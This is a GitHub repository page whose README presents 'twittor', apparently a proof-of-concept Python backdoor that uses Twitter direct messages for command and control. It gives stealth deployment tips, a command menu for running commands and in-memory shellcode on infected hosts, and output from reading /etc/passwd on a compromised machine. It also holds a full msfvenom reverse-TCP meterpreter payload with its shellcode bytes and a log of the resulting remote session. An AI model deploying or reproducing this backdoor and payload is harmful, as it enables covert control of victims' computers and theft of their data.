This repository Search Pull requests Issues Gist

PaulSec / twittor

Watch 1 Star 0 Fork 0

A fully featured backdoor that uses Twitter as a C&C server

3 commits 1 branch 0 releases 1 contributor

Code
Issues 0
Pull requests 0
Wiki
Pulse
Graphs

HTTPS clone URL

https://github.com

You can clone with HTTPS, SSH, or Subversion.

Clone in Desktop

Download ZIP

Branch: master twittor / +

Merge branch 'master' of github.com:PaulSec/twittor

PaulSec authored 16 minutes ago latest commit c0aef430ba

LICENSE	Initial commit	19 minutes ago
README.md	Initial commit	17 minutes ago
implant.py	Initial commit	17 minutes ago
twittor.py	Initial commit	17 minutes ago

README.md

Twittor

A stealthy Python based backdoor that uses Twitter (Direct Messages) as a command and control server This project has been inspired by Gcat which does the same but using a Gmail account.

Setup

For this to work you need:

- A Twitter account (**Use a dedicated account! Do not use your personal one!**)
- Register an app on Twitter with **Read, write, and direct messages** Access levels.

This repo contains two files:

- `twittor.py` which is the client
- `implant.py` the actual backdoor to deploy

In both files, edit the access token part and add the ones that you previously generated:

```
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'
```

You're probably going to want to compile `implant.py` into an executable using Pyinstaller In order to remove the console when compiling with Pyinstaller, the flap `--no-console` will help. Just saying.

Usage

In order to run the client, launch the script.

```
$ python twittor.py
```

You'll then get into an 'interactive' shell which offers few commands that are:

```
$ help

    refresh - refresh C&C control
    list_bots - list active bots
    list_commands - list executed commands
    !retrieve <jobid> - retrieve jobid command
    !cmd <MAC ADDRESS> command - execute the command on the bot
    !shellcode <MAC ADDRESS> shellcode - load and execute shellcode in memory (Windows only)
    help - print this usage
    exit - exit the client

$
```

- Once you've deployed the backdoor on a couple of systems, you can check available clients using the list command:

```
$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$
```

The output is the MAC address which is used to uniquely identifies the system but also gives you OS information the implant is running on. In that case a Linux box.

- Let's issue a command to an implant:

```
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Sent command "cat /etc/passwd" with jobid: UMW07r2
$
```

Here we are telling `B7:76:1F:0B:50:B7` to execute `cat /etc/passwd`, the script then outputs the `jobid` that we can use to retrieve the output of that command

- Lets get the results!

```
$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)
```

Command to use in that case is `!retrieve` followed by the jobid from the command.

- Refresh results

In order to retrieve new bots/command outputs but also force the client to refresh the results, use the `refresh` command.

```
$ refresh
```

```
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
$
```

This will send a `PING` request and wait 10 seconds for them to answer. Direct messages will then be parsed - Bot list will be refreshed but also the command list, including new command outputs.

- Retrieve previous commands

As I said earlier, (previous) commands will be retrieved from older direct messages (limit is 200) and you can actually retrieve/see them by using the `list_commands` command

```
$ list_commands
8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1
$
```

- Running shellcode (Windows hosts)

This option might be handy in order to retrieve a meterpreter session and this article becomes really useful.

Generate your meterpreter shellcode, like:

```
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Payload size: 299 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
```

Extract the shellcode and send it to the specified bot using the `!shellcode` command!

```
$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Sent shellcode with jobid: xdr7mtN
$
```

Et voilà!

```
msf exploit(handler) > exploit
```

```
[*] Started reverse handler on 10.0.0.1:3615
[*] Starting the payload handler...
[*] Sending stage (884270 bytes) to 10.0.0.99
[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -040

meterpreter > getuid
Server username: WIN-XXXXXXXXX\PaulSec
```

Open a beer and enjoy your reverse meterpreter shell.

Contributing and/or questions?

Project is entirely open source and released under MIT license. I mostly wanted to create a PoC after Twitter decided to remove the 140 characters limit for the Direct Messages. Few stuff should be added such as Encryption (Adding AES on top of it). "Messages" are using a dictionary data structure and the whole command is only base64 encoded. Fork the project, contribute, submit pull requests, and have fun.

If you find a bug, open an issue on Github and/or ping me on Twitter.

Again, feel free to check the Gcat amazing project from byt3bl33d3r that inspired me a lot.